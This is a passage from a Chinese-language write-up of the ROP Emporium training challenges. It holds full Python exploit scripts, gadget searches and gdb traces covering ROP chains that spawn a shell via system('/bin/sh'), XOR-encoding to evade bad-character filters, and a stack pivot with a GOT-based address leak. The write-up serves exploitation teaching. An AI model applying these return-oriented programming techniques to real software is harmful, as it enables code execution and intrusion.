+ordinal=011 plt=0x00401870 bind=GLOBAL type=FUNC name=callme_two
+gdb-peda$ ropsearch "pop rdi; pop rsi"
+Searching for ROP gadget: 'pop rdi; pop rsi' in: binary ranges
+0x00401ab0 : (b'5f5e5ac3') pop rdi; pop rsi; pop rdx; ret
+
+payload 如下:
+from zio import *
+
+payload = "A"*40
+
+payload += l64(0x00401ab0)
+payload += l64(0x1) + l64(0x2) + l64(0x3)
+payload += l64(0x00401850)
+
+payload += l64(0x00401ab0)
+payload += l64(0x1) + l64(0x2) + l64(0x3)
+payload += l64(0x00401870)
+
+payload += l64(0x00401ab0)
+payload += l64(0x1) + l64(0x2) + l64(0x3)
+payload += l64(0x00401810)
+
+io = zio('./callme')
+io.writeline(payload)
+io.read()
+
+这一次,我们已经不能在程序中找到可以执行的语句了,但我们可以利用 gadgets 将 /bin/sh
写入到目标进程的虚拟内存空间中,如 .data
段中,再调用 system() 执行它,从而拿到 shell。要认识到一个重要的点是,ROP 只是一种任意代码执行的形式,只要我们有创意,就可以利用它来执行诸如内存读写等操作。
这种方法虽然好用,但还是要考虑我们写入地址的读写和执行权限,以及它能提供的空间是多少,我们写入的内容是否会影响到程序执行等问题。如我们接下来想把字符串写入 .data
段,我们看一下它的权限和大小等信息:
$ readelf -S write432
+ [Nr] Name Type Addr Off Size ES Flg Lk Inf Al
+ ...
+ [16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4
+ [25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4
+
+可以看到 .data
具有 WA
,即写入(write)和分配(alloc)的权利,而 .rodata
就不能写入。
使用工具 ropgadget 可以很方便地找到我们需要的 gadgets:
+$ ropgadget --binary write432 --only "mov|pop|ret"
+...
+0x08048670 : mov dword ptr [edi], ebp ; ret
+0x080486da : pop edi ; pop ebp ; ret
+
+另外需要注意的是,我们这里是 32 位程序,每次只能写入 4 个字节,所以要分成两次写入,还得注意字符对齐,有没有截断字符(\x00
,\x0a
等)之类的问题,比如这里 /bin/sh
只有七个字节,我们可以使用 /bin/sh\00
或者 /bin//sh
,构造 payload 如下:
from zio import *
+
+pop_edi_ebp = 0x080486da
+mov_edi_ebp = 0x08048670
+
+data_addr = 0x804a028
+system_plt = 0x8048430
+
+payload = ""
+payload += "A"*44
+payload += l32(pop_edi_ebp)
+payload += l32(data_addr)
+payload += "/bin"
+payload += l32(mov_edi_ebp)
+payload += l32(pop_edi_ebp)
+payload += l32(data_addr+4)
+payload += "/sh\x00"
+payload += l32(mov_edi_ebp)
+payload += l32(system_plt)
+payload += "BBBB"
+payload += l32(data_addr)
+
+io = zio('./write432')
+io.writeline(payload)
+io.interact()
+$ python2 run.py
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(/binp,/shp0BBBB(�
+write4 by ROP Emporium
+32bits
+
+Go ahead and give me the string already!
+> cat flag.txt
+ROPE{a_placeholder_32byte_flag!}
+
+64 位程序就可以一次性写入了。
+$ ropgadget --binary write4 --only "mov|pop|ret"
+...
+0x0000000000400820 : mov qword ptr [r14], r15 ; ret
+0x0000000000400890 : pop r14 ; pop r15 ; ret
+0x0000000000400893 : pop rdi ; ret
+from pwn import *
+
+pop_r14_r15 = 0x0000000000400890
+mov_r14_r15 = 0x0000000000400820
+pop_rdi = 0x0000000000400893
+data_addr = 0x0000000000601050
+system_plt = 0x004005e0
+
+payload = "A"*40
+payload += p64(pop_r14_r15)
+payload += p64(data_addr)
+payload += "/bin/sh\x00"
+payload += p64(mov_r14_r15)
+payload += p64(pop_rdi)
+payload += p64(data_addr)
+payload += p64(system_plt)
+
+io = process('./write4')
+io.recvuntil('>')
+io.sendline(payload)
+io.interactive()
+
+在这个挑战中,我们依然要将 /bin/sh
写入到进程内存中,但这一次程序在读取输入时会对敏感字符进行检查,查看函数 checkBadchars()
:
gdb-peda$ disassemble checkBadchars
+Dump of assembler code for function checkBadchars:
+ 0x08048801 <+0>: push ebp
+ 0x08048802 <+1>: mov ebp,esp
+ 0x08048804 <+3>: sub esp,0x10
+ 0x08048807 <+6>: mov BYTE PTR [ebp-0x10],0x62
+ 0x0804880b <+10>: mov BYTE PTR [ebp-0xf],0x69
+ 0x0804880f <+14>: mov BYTE PTR [ebp-0xe],0x63
+ 0x08048813 <+18>: mov BYTE PTR [ebp-0xd],0x2f
+ 0x08048817 <+22>: mov BYTE PTR [ebp-0xc],0x20
+ 0x0804881b <+26>: mov BYTE PTR [ebp-0xb],0x66
+ 0x0804881f <+30>: mov BYTE PTR [ebp-0xa],0x6e
+ 0x08048823 <+34>: mov BYTE PTR [ebp-0x9],0x73
+ 0x08048827 <+38>: mov DWORD PTR [ebp-0x4],0x0
+ 0x0804882e <+45>: mov DWORD PTR [ebp-0x8],0x0
+ 0x08048835 <+52>: mov DWORD PTR [ebp-0x4],0x0
+ 0x0804883c <+59>: jmp 0x804887c <checkBadchars+123>
+ 0x0804883e <+61>: mov DWORD PTR [ebp-0x8],0x0
+ 0x08048845 <+68>: jmp 0x8048872 <checkBadchars+113>
+ 0x08048847 <+70>: mov edx,DWORD PTR [ebp+0x8]
+ 0x0804884a <+73>: mov eax,DWORD PTR [ebp-0x4]
+ 0x0804884d <+76>: add eax,edx
+ 0x0804884f <+78>: movzx edx,BYTE PTR [eax]
+ 0x08048852 <+81>: lea ecx,[ebp-0x10]
+ 0x08048855 <+84>: mov eax,DWORD PTR [ebp-0x8]
+ 0x08048858 <+87>: add eax,ecx
+ 0x0804885a <+89>: movzx eax,BYTE PTR [eax]
+ 0x0804885d <+92>: cmp dl,al
+ 0x0804885f <+94>: jne 0x804886e <checkBadchars+109>
+ 0x08048861 <+96>: mov edx,DWORD PTR [ebp+0x8]
+ 0x08048864 <+99>: mov eax,DWORD PTR [ebp-0x4]
+ 0x08048867 <+102>: add eax,edx
+ 0x08048869 <+104>: mov BYTE PTR [eax],0xeb
+ 0x0804886c <+107>: jmp 0x8048878 <checkBadchars+119>
+ 0x0804886e <+109>: add DWORD PTR [ebp-0x8],0x1
+ 0x08048872 <+113>: cmp DWORD PTR [ebp-0x8],0x7
+ 0x08048876 <+117>: jbe 0x8048847 <checkBadchars+70>
+ 0x08048878 <+119>: add DWORD PTR [ebp-0x4],0x1
+ 0x0804887c <+123>: mov eax,DWORD PTR [ebp-0x4]
+ 0x0804887f <+126>: cmp eax,DWORD PTR [ebp+0xc]
+ 0x08048882 <+129>: jb 0x804883e <checkBadchars+61>
+ 0x08048884 <+131>: nop
+ 0x08048885 <+132>: leave
+ 0x08048886 <+133>: ret
+End of assembler dump.
+
+很明显,地址 0x08048807
到 0x08048823
的字符就是所谓的敏感字符。处理敏感字符在利用开发中是经常要用到的,不仅仅是要对参数进行编码,有时甚至地址也要如此。这里我们使用简单的异或操作来对字符串编码和解码。
找到 gadgets:
+$ ropgadget --binary badchars32 --only "mov|pop|ret|xor"
+...
+0x08048893 : mov dword ptr [edi], esi ; ret
+0x08048896 : pop ebx ; pop ecx ; ret
+0x08048899 : pop esi ; pop edi ; ret
+0x08048890 : xor byte ptr [ebx], cl ; ret
+
+整个利用过程就是写入前编码,使用前解码,下面是 payload:
+from zio import *
+
+xor_ebx_cl = 0x08048890
+pop_ebx_ecx = 0x08048896
+pop_esi_edi = 0x08048899
+mov_edi_esi = 0x08048893
+
+system_plt = 0x080484e0
+data_addr = 0x0804a038
+
+# encode
+badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
+xor_byte = 0x1
+while(1):
+ binsh = ""
+ for i in "/bin/sh\x00":
+ c = ord(i) ^ xor_byte
+ if c in badchars:
+ xor_byte += 1
+ break
+ else:
+ binsh += chr(c)
+ if len(binsh) == 8:
+ break
+
+# write
+payload = "A"*44
+payload += l32(pop_esi_edi)
+payload += binsh[:4]
+payload += l32(data_addr)
+payload += l32(mov_edi_esi)
+payload += l32(pop_esi_edi)
+payload += binsh[4:8]
+payload += l32(data_addr + 4)
+payload += l32(mov_edi_esi)
+
+# decode
+for i in range(len(binsh)):
+ payload += l32(pop_ebx_ecx)
+ payload += l32(data_addr + i)
+ payload += l32(xor_byte)
+ payload += l32(xor_ebx_cl)
+
+# run
+payload += l32(system_plt)
+payload += "BBBB"
+payload += l32(data_addr)
+
+io = zio('./badchars32')
+io.writeline(payload)
+io.interact()
+
+64 位程序也是一样的,注意参数传递就好了。
+$ ropgadget --binary badchars --only "mov|pop|ret|xor"
+...
+0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
+0x0000000000400b3b : pop r12 ; pop r13 ; ret
+0x0000000000400b40 : pop r14 ; pop r15 ; ret
+0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
+0x0000000000400b39 : pop rdi ; ret
+from pwn import *
+
+pop_r12_r13 = 0x0000000000400b3b
+mov_r13_r12 = 0x0000000000400b34
+pop_r14_r15 = 0x0000000000400b40
+xor_r15_r14b = 0x0000000000400b30
+pop_rdi = 0x0000000000400b39
+
+system_plt = 0x00000000004006f0
+data_addr = 0x0000000000601000
+
+badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
+xor_byte = 0x1
+while(1):
+ binsh = ""
+ for i in "/bin/sh\x00":
+ c = ord(i) ^ xor_byte
+ if c in badchars:
+ xor_byte += 1
+ break
+ else:
+ binsh += chr(c)
+ if len(binsh) == 8:
+ break
+
+payload = "A"*40
+payload += p64(pop_r12_r13)
+payload += binsh
+payload += p64(data_addr)
+payload += p64(mov_r13_r12)
+
+for i in range(len(binsh)):
+ payload += p64(pop_r14_r15)
+ payload += p64(xor_byte)
+ payload += p64(data_addr + i)
+ payload += p64(xor_r15_r14b)
+
+payload += p64(pop_rdi)
+payload += p64(data_addr)
+payload += p64(system_plt)
+
+io = process('./badchars')
+io.recvuntil('>')
+io.sendline(payload)
+io.interactive()
+
+这个练习与上面没有太大区别,难点在于我们能找到的 gadgets 不是那么直接,有一个技巧是因为我们的目的是写入字符串,那么必然需要 mov [reg], reg
这样的 gadgets,我们就从这里出发,倒推所需的 gadgets。
$ ropgadget --binary fluff32 --only "mov|pop|ret|xor|xchg"
+...
+0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
+0x080483e1 : pop ebx ; ret
+0x08048689 : xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
+0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
+0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
+
+我们看到一个这样的 mov dword ptr [ecx], edx ;
,可以想到我们将地址放进 ecx
,将数据放进 edx
,从而将数据写入到地址中。payload 如下:
from zio import *
+
+system_plt = 0x08048430
+data_addr = 0x0804a028
+
+pop_ebx = 0x080483e1
+mov_ecx_edx = 0x08048693
+xchg_edx_ecx = 0x08048689
+xor_edx_ebx = 0x0804867b
+xor_edx_edx = 0x08048671
+
+def write_data(data, addr):
+ # addr -> ecx
+ payload = l32(xor_edx_edx)
+ payload += "BBBB"
+ payload += l32(pop_ebx)
+ payload += l32(addr)
+ payload += l32(xor_edx_ebx)
+ payload += "BBBB"
+ payload += l32(xchg_edx_ecx)
+ payload += "BBBB"
+
+ # data -> edx
+ payload += l32(xor_edx_edx)
+ payload += "BBBB"
+ payload += l32(pop_ebx)
+ payload += data
+ payload += l32(xor_edx_ebx)
+ payload += "BBBB"
+
+ # edx -> [ecx]
+ payload += l32(mov_ecx_edx)
+ payload += "BBBB"
+ payload += l32(0)
+
+ return payload
+
+payload = "A"*44
+
+payload += write_data("/bin", data_addr)
+payload += write_data("/sh\x00", data_addr + 4)
+
+payload += l32(system_plt)
+payload += "BBBB"
+payload += l32(data_addr)
+
+io = zio('./fluff32')
+io.writeline(payload)
+io.interact()
+
+提示:在使用 ropgadget 搜索时加上参数 --depth
可以得到更大长度的 gadgets。
$ ropgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20
+...
+0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
+0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
+0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
+0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
+0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
+from pwn import *
+
+system_plt = 0x004005e0
+data_addr = 0x0000000000601050
+
+xor_r11_r11 = 0x0000000000400822
+xor_r11_r12 = 0x000000000040082f
+xchg_r11_r10 = 0x0000000000400840
+mov_r10_r11 = 0x000000000040084c
+pop_r12 = 0x0000000000400832
+
+def write_data(data, addr):
+ # addr -> r10
+ payload = p64(xor_r11_r11)
+ payload += "BBBBBBBB"
+ payload += p64(pop_r12)
+ payload += p64(addr)
+ payload += p64(xor_r11_r12)
+ payload += "BBBBBBBB"
+ payload += p64(xchg_r11_r10)
+ payload += "BBBBBBBB"
+
+ # data -> r11
+ payload += p64(xor_r11_r11)
+ payload += "BBBBBBBB"
+ payload += p64(pop_r12)
+ payload += data
+ payload += p64(xor_r11_r12)
+ payload += "BBBBBBBB"
+
+ # r11 -> [r10]
+ payload += p64(mov_r10_r11)
+ payload += "BBBBBBBB"*2
+ payload += p64(0)
+
+ return payload
+
+payload = "A"*40
+payload += write_data("/bin/sh\x00", data_addr)
+payload += p64(system_plt)
+
+io = process('./fluff')
+io.recvuntil('>')
+io.sendline(payload)
+io.interactive()
+
+这是挑战的最后一题,难度突然增加。首先是动态库,动态库中函数的相对位置是固定的,所以如果我们知道其中一个函数的地址,就可以通过相对位置关系得到其他任意函数的地址。在开启 ASLR 的情况下,动态库加载到内存中的地址是变化的,但并不影响库中函数的相对位置,所以我们要想办法先泄露出某个函数的地址,从而得到目标函数地址。
+通过分析我们知道该程序从动态库 libpivot32.so
中导入了函数 foothold_function()
,但在程序逻辑中并没有调用,而在 libpivot32.so
中还有我们需要的函数 ret2win()
。
现在我们知道了可以泄露的函数 foothold_function()
,那么怎么泄露呢。前面我们已经简单介绍了延时绑定技术,当我们在调用如 func@plt()
的时候,系统才会将真正的 func()
函数地址写入到 GOT 表的 func.got.plt
中,然后 func@plt()
根据 func.got.plt
跳转到真正的 func()
函数上去。
最后是该挑战最重要的部分,程序运行我们有两次输入,第一次输入被放在一个由 malloc()
函数分配的堆上,当然为了降低难度,程序特地将该地址打印了出来,第二次的输入则被放在一个大小限制为 13 字节的栈上,这个空间不足以让我们执行很多东西,所以需要运用 stack pivot,即通过覆盖调用者的 ebp,将栈帧转移到另一个地方,同时控制 eip,即可改变程序的执行流,通常的 payload(这里称为副payload) 结构如下:
buffer padding | fake ebp | leave;ret addr |
+
+这样函数的返回地址就被覆盖为 leave;ret 指令的地址,这样程序在执行完其原本的 leave;ret 后,又执行了一次 leave;ret。
+另外 fake ebp 指向我们另一段 payload(这里称为主payload) 的 ebp,即 主payload 地址减 4 的地方,当然你也可以在构造 主payload 时在前面加 4 个字节的 padding 作为 ebp:
+ebp | payload
+
+我们知道一个函数的入口点通常是:
+push ebp
+mov ebp,esp
+
+leave 指令相当于:
+mov esp,ebp
+pop ebp
+
+ret 指令为相当于:
+pop eip
+
+如果遇到一种情况,我们可以控制的栈溢出的字节数比较小,不能完成全部的工作,同时程序开启了 PIE 或者系统开启了 ASLR,但同时在程序的另一个地方有足够的空间可以写入 payload,并且可执行,那么我们就将栈转移到那个地方去。
+完整的 exp 如下:
+from pwn import *
+
+#context.log_level = 'debug'
+#context.terminal = ['konsole']
+io = process('./pivot32')
+elf = ELF('./pivot32')
+libp = ELF('./libpivot32.so')
+
+leave_ret = 0x0804889f
+
+foothold_plt = elf.plt['foothold_function'] # 0x080485f0
+foothold_got_plt = elf.got['foothold_function'] # 0x0804a024
+
+pop_eax = 0x080488c0
+pop_ebx = 0x08048571
+mov_eax_eax = 0x080488c4
+add_eax_ebx = 0x080488c7
+call_eax = 0x080486a3
+
+foothold_sym = libp.symbols['foothold_function']
+ret2win_sym = libp.symbols['ret2win']
+offset = int(ret2win_sym - foothold_sym) # 0x1f7
+
+leakaddr = int(io.recv().split()[20], 16)
+
+# calls foothold_function() to populate its GOT entry, then queries that value into EAX
+#gdb.attach(io)
+payload_1 = p32(foothold_plt)
+payload_1 += p32(pop_eax)
+payload_1 += p32(foothold_got_plt)
+payload_1 += p32(mov_eax_eax)
+payload_1 += p32(pop_ebx)
+payload_1 += p32(offset)
+payload_1 += p32(add_eax_ebx)
+payload_1 += p32(call_eax)
+
+io.sendline(payload_1)
+
+# ebp = leakaddr-4, esp = leave_ret
+payload_2 = "A"*40
+payload_2 += p32(leakaddr-4) + p32(leave_ret)
+
+io.sendline(payload_2)
+print io.recvall()
+
+这里我们在 gdb 中验证一下,在 pwnme() 函数的 leave 处下断点:
+gdb-peda$ b *0x0804889f
+Breakpoint 1 at 0x804889f
+gdb-peda$ c
+Continuing.
+[----------------------------------registers-----------------------------------]
+EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EBX: 0x0
+ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EDX: 0xf7731860 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0xffe7ec68 --> 0xf755cf0c --> 0x0
+ESP: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EIP: 0x804889f (<pwnme+173>: leave)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x8048896 <pwnme+164>: call 0x80485b0 <fgets@plt>
+ 0x804889b <pwnme+169>: add esp,0x10
+ 0x804889e <pwnme+172>: nop
+=> 0x804889f <pwnme+173>: leave
+ 0x80488a0 <pwnme+174>: ret
+ 0x80488a1 <uselessFunction>: push ebp
+ 0x80488a2 <uselessFunction+1>: mov ebp,esp
+ 0x80488a4 <uselessFunction+3>: sub esp,0x8
+[------------------------------------stack-------------------------------------]
+0000| 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+0004| 0xffe7ec44 ('A' <repeats 36 times>, "\f\317U\367\237\210\004\b\n")
+0008| 0xffe7ec48 ('A' <repeats 32 times>, "\f\317U\367\237\210\004\b\n")
+0012| 0xffe7ec4c ('A' <repeats 28 times>, "\f\317U\367\237\210\004\b\n")
+0016| 0xffe7ec50 ('A' <repeats 24 times>, "\f\317U\367\237\210\004\b\n")
+0020| 0xffe7ec54 ('A' <repeats 20 times>, "\f\317U\367\237\210\004\b\n")
+0024| 0xffe7ec58 ('A' <repeats 16 times>, "\f\317U\367\237\210\004\b\n")
+0028| 0xffe7ec5c ('A' <repeats 12 times>, "\f\317U\367\237\210\004\b\n")
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0x0804889f in pwnme ()
+gdb-peda$ x/10w 0xffe7ec68
+0xffe7ec68: 0xf755cf0c 0x0804889f 0xf755000a 0x00000000
+0xffe7ec78: 0x00000002 0x00000000 0x00000001 0xffe7ed44
+0xffe7ec88: 0xf755cf10 0xf655d010
+gdb-peda$ x/10w 0xf755cf0c
+0xf755cf0c: 0x00000000 0x080485f0 0x080488c0 0x0804a024
+0xf755cf1c: 0x080488c4 0x08048571 0x000001f7 0x080488c7
+0xf755cf2c: 0x080486a3 0x0000000a
+
+执行第一次 leave;ret 之前,我们看到 EBP 指向 fake ebp,即 0xf755cf0c
,fake ebp 指向 主payload 的 ebp,而在 fake ebp 后面是 leave;ret 的地址 0x0804889f
,即返回地址。
执行第一次 leave:
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EBX: 0x0
+ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EDX: 0xf7731860 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0xf755cf0c --> 0x0
+ESP: 0xffe7ec6c --> 0x804889f (<pwnme+173>: leave)
+EIP: 0x80488a0 (<pwnme+174>: ret)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x804889b <pwnme+169>: add esp,0x10
+ 0x804889e <pwnme+172>: nop
+ 0x804889f <pwnme+173>: leave
+=> 0x80488a0 <pwnme+174>: ret
+ 0x80488a1 <uselessFunction>: push ebp
+ 0x80488a2 <uselessFunction+1>: mov ebp,esp
+ 0x80488a4 <uselessFunction+3>: sub esp,0x8
+ 0x80488a7 <uselessFunction+6>: call 0x80485f0 <foothold_function@plt>
+[------------------------------------stack-------------------------------------]
+0000| 0xffe7ec6c --> 0x804889f (<pwnme+173>: leave)
+0004| 0xffe7ec70 --> 0xf755000a --> 0x0
+0008| 0xffe7ec74 --> 0x0
+0012| 0xffe7ec78 --> 0x2
+0016| 0xffe7ec7c --> 0x0
+0020| 0xffe7ec80 --> 0x1
+0024| 0xffe7ec84 --> 0xffe7ed44 --> 0xffe808cf ("./pivot32")
+0028| 0xffe7ec88 --> 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488a0 in pwnme ()
+
+EBP 的值 0xffe7ec68
被赋值给 ESP,然后从栈中弹出 0xf755cf0c
,即 fake ebp 并赋值给 EBP,同时 ESP+4=0xffe7ec6c
,指向第二次的 leave。
执行第一次 ret:
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EBX: 0x0
+ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EDX: 0xf7731860 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0xf755cf0c --> 0x0
+ESP: 0xffe7ec70 --> 0xf755000a --> 0x0
+EIP: 0x804889f (<pwnme+173>: leave)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x8048896 <pwnme+164>: call 0x80485b0 <fgets@plt>
+ 0x804889b <pwnme+169>: add esp,0x10
+ 0x804889e <pwnme+172>: nop
+=> 0x804889f <pwnme+173>: leave
+ 0x80488a0 <pwnme+174>: ret
+ 0x80488a1 <uselessFunction>: push ebp
+ 0x80488a2 <uselessFunction+1>: mov ebp,esp
+ 0x80488a4 <uselessFunction+3>: sub esp,0x8
+[------------------------------------stack-------------------------------------]
+0000| 0xffe7ec70 --> 0xf755000a --> 0x0
+0004| 0xffe7ec74 --> 0x0
+0008| 0xffe7ec78 --> 0x2
+0012| 0xffe7ec7c --> 0x0
+0016| 0xffe7ec80 --> 0x1
+0020| 0xffe7ec84 --> 0xffe7ed44 --> 0xffe808cf ("./pivot32")
+0024| 0xffe7ec88 --> 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)
+0028| 0xffe7ec8c --> 0xf655d010 --> 0x0
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0x0804889f in pwnme ()
+
+EIP=0x804889f
,同时 ESP+4。
第二次 leave:
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EBX: 0x0
+ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EDX: 0xf7731860 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)
+EIP: 0x80488a0 (<pwnme+174>: ret)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x804889b <pwnme+169>: add esp,0x10
+ 0x804889e <pwnme+172>: nop
+ 0x804889f <pwnme+173>: leave
+=> 0x80488a0 <pwnme+174>: ret
+ 0x80488a1 <uselessFunction>: push ebp
+ 0x80488a2 <uselessFunction+1>: mov ebp,esp
+ 0x80488a4 <uselessFunction+3>: sub esp,0x8
+ 0x80488a7 <uselessFunction+6>: call 0x80485f0 <foothold_function@plt>
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)
+0004| 0xf755cf14 --> 0x80488c0 (<usefulGadgets>: pop eax)
+0008| 0xf755cf18 --> 0x804a024 --> 0x80485f6 (<foothold_function@plt+6>: push 0x30)
+0012| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
+0016| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
+0020| 0xf755cf24 --> 0x1f7
+0024| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
+0028| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080488a0 in pwnme ()
+gdb-peda$ x/10w 0xf755cf10
+0xf755cf10: 0x080485f0 0x080488c0 0x0804a024 0x080488c4
+0xf755cf20: 0x08048571 0x000001f7 0x080488c7 0x080486a3
+0xf755cf30: 0x0000000a 0x00000000
+
+EBP 的值 0xf755cf0c
被赋值给 ESP,并将 主payload 的 ebp 赋值给 EBP,同时 ESP+4=0xf755cf10
,这个值正是我们 主payload 的地址。
第二次 ret:
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EBX: 0x0
+ECX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
+EDX: 0xf7731860 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf14 --> 0x80488c0 (<usefulGadgets>: pop eax)
+EIP: 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x80485e0 <exit@plt>: jmp DWORD PTR ds:0x804a020
+ 0x80485e6 <exit@plt+6>: push 0x28
+ 0x80485eb <exit@plt+11>: jmp 0x8048580
+=> 0x80485f0 <foothold_function@plt>: jmp DWORD PTR ds:0x804a024
+ | 0x80485f6 <foothold_function@plt+6>: push 0x30
+ | 0x80485fb <foothold_function@plt+11>: jmp 0x8048580
+ | 0x8048600 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a028
+ | 0x8048606 <__libc_start_main@plt+6>: push 0x38
+ |-> 0x80485f6 <foothold_function@plt+6>: push 0x30
+ 0x80485fb <foothold_function@plt+11>: jmp 0x8048580
+ 0x8048600 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a028
+ 0x8048606 <__libc_start_main@plt+6>: push 0x38
+ JUMP is taken
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf14 --> 0x80488c0 (<usefulGadgets>: pop eax)
+0004| 0xf755cf18 --> 0x804a024 --> 0x80485f6 (<foothold_function@plt+6>: push 0x30)
+0008| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
+0012| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
+0016| 0xf755cf24 --> 0x1f7
+0020| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)
+0024| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)
+0028| 0xf755cf30 --> 0xa ('\n')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x080485f0 in foothold_function@plt ()
+
+成功跳转到 foothold_function@plt
,接下来系统通过 _dl_runtime_resolve
等步骤,将真正的地址写入到 .got.plt
中,我们构造 gadget 泄露出该地址地址,然后计算出 ret2win()
的地址,调用它,就成功了。
地址泄露的过程:
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0x54 ('T')
+EBX: 0x0
+ECX: 0x54 ('T')
+EDX: 0xf7731854 --> 0x0
+ESI: 0xf772fe28 --> 0x1d1d30
+EDI: 0x0
+EBP: 0x0
+ESP: 0xf755cf18 --> 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)
+EIP: 0x80488c0 (<usefulGadgets>: pop eax)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x80488ba: xchg ax,ax
+ 0x80488bc: xchg ax,ax
+ 0x80488be: xchg ax,ax
+=> 0x80488c0 <usefulGadgets>: pop eax
+ 0x80488c1 <usefulGadgets+1>: ret
+ 0x80488c2 <usefulGadgets+2>: xchg esp,eax
+ 0x80488c3 <usefulGadgets+3>: ret
+ 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]
+[------------------------------------stack-------------------------------------]
+0000| 0xf755cf18 --> 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)
+0004| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])
+0008| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)
+0012| 0xf755cf24 --> 0x1f7
